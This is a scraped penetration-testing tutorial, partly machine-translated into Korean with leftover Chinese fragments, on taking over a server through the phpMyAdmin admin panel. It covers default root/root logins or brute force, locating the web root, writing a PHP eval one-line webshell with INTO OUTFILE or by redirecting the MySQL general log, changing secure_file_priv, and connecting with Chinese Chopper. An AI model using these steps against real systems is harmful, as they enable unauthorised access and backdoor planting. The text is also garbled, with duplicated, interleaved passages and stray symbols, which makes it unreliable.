다음은 phpmyadmin 튜토리얼 칼럼에 나온 PhpMyAdmin 배경 getshell(침투 테스트)에 대한 소개입니다. 필요한 친구들에게 도움이 되길 바랍니다!
PhpMyAdmin은 PHP 기반의 MySQL 데이터베이스 관리 도구이며 웹 사이트 호스트에서 웹 기반 모드로 구성되어 있어 관리자가 웹 인터페이스를 사용하여 MySQL 데이터베이스를 관리할 수 있습니다. 이 웹 인터페이스는 특히 대량의 데이터를 가져오고 내보낼 때 복잡한 SQL 구문을 간단한 방법으로 입력하는 더 나은 방법이 될 수 있습니다.
대상에 대한 정보를 수집하고 감지한 후 phpmyadmin 디렉터리가 있는 것으로 확인되면(시도: http://ip:port/phpmyadmin/
) 취약한 비밀번호를 통해( http://ip:端口/phpmyadmin/
)时,进而通过弱口令(可以直接尝试下账号root密码root)或者暴力破解进入管理后台之后,有多种方法进行getshell。
想在网站内部插入木马,前提是你得知道网站的绝对路径,方法也有很多,比如通过报错获取路径,通过phpinfo.php等等(可参考另一篇博文:https://blog.csdn.net/weixin_39190897/article/details/99078864 )。
最方便的是用select @@basedir;
直接查(但有时没法查出来,只能另寻它法):
根据上面的反馈,我们可以看到 MySQL 的位置在 D:softphpStudyMySQL
目录下。
获得网站路径后就可以企图上传木马了,最常用的是通过into outfile
在网站根目录上直接写入一句话木马:
select '<?php eval($_POST[cmd]); ?>' into outfile 'D:softphpStudywwwxxx.php';
但在新版的mysql中,这句话并没有运行成功。
Mysql新特性secure_file_priv
会对读写文件产生影响,该参数用来限制导入导出。我们可以借助show global variables like '%secure%';
命令来查看该参数:
当secure_file_priv
为NULL时,表示限制Mysql不允许导入导出,所以爆出错误。要想使得该语句导出成功,则需要在Mysql文件夹下修改my.ini
文件,在[mysqld]内加入secure_file_priv =""
即可:
当secure_file_priv
的值没有具体值时,表示不对mysqld 的导入|导出做限制,此时就可以执行导出命令。
Mysql 5.0版本以上会创建日志文件,通过修改日志的全局变量,也可以getshell。但是也要对生成的日志有可读可写的权限。(注:linux因为权限问题亲测没有成功)。先来介绍两个MySQL全局变量:general_log
和 general_log file
。
查看日志状态的命令:show variables like '%general%';
在以上配置中,当开启general时,所执行的sql语句都会出现在WIN-30DFNC8L78A.log
계정 루트 비밀번호 root)를 직접 시도하거나 무차별 대입을 사용하여 관리 배경으로 들어갈 수 있습니다. getshell에는 여러 가지 방법이 있습니다.
select @@basedir;
를 사용하여 직접 확인하는 것입니다(그러나 때로는 찾을 수 없어서 다른 방법을 찾아야 합니다): 🎜🎜🎜위 피드백에 따르면 MySQL은 D:softphpStudyMySQL
디렉토리에 있습니다. 🎜🎜웹사이트 경로를 얻은 후 트로이 목마 업로드를 시도할 수 있습니다. 가장 일반적인 방법은 outfile
을 통해 웹사이트의 루트 디렉터리에 직접 트로이 목마 문장을 작성하는 것입니다. 🎜🎜 '<?php eval($_POST[cmd]); ?>'를 'D:softphpStudywwwxxx.php';
🎜🎜새 버전에서는 이 문장이 성공적으로 실행되지 않았습니다. 🎜🎜 Mysql의 새로운 기능 secure_file_priv
는 파일 읽기 및 쓰기에 영향을 미칩니다. 이 매개변수는 가져오기 및 내보내기를 제한하는 데 사용됩니다. '%secure%'와 같은 전역 변수 표시;
명령을 사용하여 이 매개변수를 볼 수 있습니다: 🎜secure_file_priv
가 NULL이면 Mysql에서 가져오기 및 내보내기가 제한되어 있다는 의미이므로 오류가 발생합니다. 명령문을 성공적으로 내보내려면 Mysql 폴더의 my.ini
파일을 수정하고 secure_file_priv =""
를 [mysqld]에 추가해야 합니다: 🎜🎜 secure_file_priv
값이 >에는 특별한 값이 없으므로, mysqld의 import|export에 제한이 없다는 의미이며, 이 때 내보내기 명령을 실행할 수 있다. 🎜🎜Mysql 로그 파일 사용🎜🎜Mysql 버전 5.0 이상에서는 로그의 전역 변수를 수정하여 getshell을 생성할 수도 있습니다. 그러나 생성된 로그에 대한 읽기 및 쓰기 권한도 있어야 합니다. (참고: Linux에서의 개인 테스트는 권한 문제로 인해 실패했습니다.) 먼저 두 개의 MySQL 전역 변수인 general_log
와 general_log file
을 소개하겠습니다. 🎜'%general%'와 같은 변수 표시;
🎜🎜 위 구성에서 일반을 켜면 🎜에서 실행한 SQL 문이 WIN-30DFNC8L78A에 나타납니다. .log
파일 🎜. 🎜그런 다음 general_log_file
的值,那么所执行的sql语句就会对应生成,进而getshell。
对应就会生成xxx.php文件
将一句话木马写入xxx.php文件:SELECT '<?php eval($_POST["cmd"]);?>'
을 수정하면 로그 파일에 기록된 Trojan 문을 볼 수 있습니다.
마지막으로 Chinese Chopper 연결, getshell:
위 내용은 PhpMyAdmin 백그라운드 getshell(침투 테스트)의 상세 내용입니다. 자세한 내용은 PHP 중국어 웹사이트의 기타 관련 기사를 참조하세요!